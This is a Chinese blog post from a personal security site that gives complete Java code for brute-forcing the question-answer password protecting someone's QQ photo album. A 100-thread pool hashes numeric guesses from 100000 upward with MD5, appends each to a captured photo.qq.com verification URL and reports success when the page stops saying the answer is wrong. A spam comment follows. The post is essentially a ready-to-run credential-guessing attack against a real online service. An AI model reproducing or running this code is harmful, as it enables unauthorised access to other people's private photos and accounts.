我喜欢黑夜,喜欢网络安全,孤独寂寞的黑夜里,我只需要,一包烟,一台笔记本...
更多
首  页>>JAVA安全开发>> JAVA安全开发Java暴力破解相册密码,HTTP协议的了解
Java暴力破解相册密码,HTTP协议的了解
10282
0推荐
1评论

Java暴力破解QQ相册密码,突破相册加密,主要还是HTTP协议的使用

1.使用前,用Fiddler抓包工具,得到验证密码的URL

源代码:

Md5加密类

    import java.security.MessageDigest;
 
public class Md5 {
 
    /**
     * 32位MD5加密
     * 
     * */
    public static String getMd5Str(String str) {
        try {
            MessageDigest md = MessageDigest.getInstance("MD5");
            md.update(str.getBytes());
            byte b[] = md.digest();
            int i;
            StringBuffer buf = new StringBuffer("");
            for (int offset = 0; offset < b.length; offset++) {
                i = b[offset];
                if (i < 0)
                    i += 256;
                if (i < 16)
                    buf.append("0");
                buf.append(Integer.toHexString(i));
            }
            // 将小写全转换成大写
            return buf.toString().toUpperCase();
 
        } catch (Exception e) {
 
        }
        return "";
    }
 
}

Check验证线程类

    package com.test;
 
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Date;
 
/***
 * @author 两手空空 线程类
 */
public class Check extends Thread {
 
    private String pass;
 
    public Check(String pass) {
        this.pass = pass;
    }
 
    // 验证密码url
    String httpUrl = "http://xa.photo.qq.com/cgi-bin/common/cgi_view_album&singleurl=1?uin=xxxxxxx&albumid=V1183QU11GN6w7&t=0.5652570774432357&verifycode=&question=%E6%88%91%E7%9A%84%E7%94%B5%E8%AF%9D%E5%8F%B7%E7%A0%81%EF%BC%9F&output_type=json&refer=qzone&plat=qzone&g_tk=5381&answer=";
 
    // 自定义的线程
    public void run() {
        try {
 
            // 定义一个输入流
            InputStream in;
 
            httpUrl += MD5.getMd5Str(pass);
 
            // 实例一个URL对象
            URL url = new URL(httpUrl);
 
            // 创建一个http请求连接
            HttpURLConnection connection = (HttpURLConnection) url
                    .openConnection();
 
            // 设置请求头信息
            connection.setRequestProperty("User-Agent", "Mozilla/4.0");
 
            // 请求
            connection.connect();
 
            // 得到输入流
            in = connection.getInputStream();
 
            // 读取内容
            BufferedReader reader = new BufferedReader(new InputStreamReader(
                    in, "GBK"));
 
            boolean passok = true;// 假设密码正确
 
            String tempstr;
 
            while ((tempstr = reader.readLine()) != null) {
 
                if (tempstr.indexOf("回答错误") > 0) {
                    passok = false;
                    break;
                }
 
            }
 
            // 判断密码是否正确
            if (passok) {
                System.out.println("ok,恭喜密码破解成功!密码:" + pass);
                System.out.println("用时:"
                        + ((new Date().getTime() - TestMain.start) / 1000)
                        + "秒");
                // 停止程序
                System.exit(0);
            } else {
                System.out.println(pass);
            }
 
            reader.close();
 
            in.close();
            // TimeUnit.MILLISECONDS.sleep(50);
 
        } catch (Exception e) {
            System.out.println("出了点小问题。");
        }
    }
}

Main方法类

    import java.util.Date;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
 
/***
 * @author Administrator 测试类
 */
public class TestMain {// 每次100个线程
    public static final int THREADPOOL_SIZE = 100;
 
    public static ExecutorService exec = Executors
            .newFixedThreadPool(THREADPOOL_SIZE); // 线程池
 
    // 数字密码
    private static int index = 100000;
    // 开始时间
    public static long start = new Date().getTime();
 
    public static void main(String[] args) {
 
        try {
 
            while (true) {
 
                for (int i = 0; i < THREADPOOL_SIZE; i++) {
                    exec.execute(new Check(index + ""));
                    index++;
                }// 主线程休息一会儿
                TimeUnit.MILLISECONDS.sleep(200);
            }
 
        } catch (Exception e) {
 
            System.out.println("程序异常...");
 
        }
    }
 
}

已经有 ( 1 ) 位网友对此发表了自己的看法,你也评一评吧! 此文不错,我要推荐-->    推 荐
  • 1楼 Smithd71 发表于:2017-03-01 00:13:58.0        回复
    Hey esto es un gran poste. Puedo utilizar una porcin en ella en mi sitio? Por supuesto ligara a su sitio as que la gente podra leer el artculo completo si ella quiso a. Agradece cualquier manera. adgcdcabdeadfked
欢迎参与讨论,请在这里发表您的看法、交流您的观点@禁止各种脚本

  • 点击Top
  • 推荐Top
  • 评论Top
更 多>>
本站采用Java语言开发,Spring框架,欢迎朋友们提意见。重新对页面进行布局,修改了程序,方便开源使用,由于本人美工真的不行 ,很少用背景图片,页面基本都用背景色...
主题:无色无味 | 网站地图|
Copyright (c) 2012-2013 www.shack2.org All Rights Reserved. | 空ICP备111111111号 | 程序设计: shack2 Powered by SJBlog v1.0 联系QQ:1341413415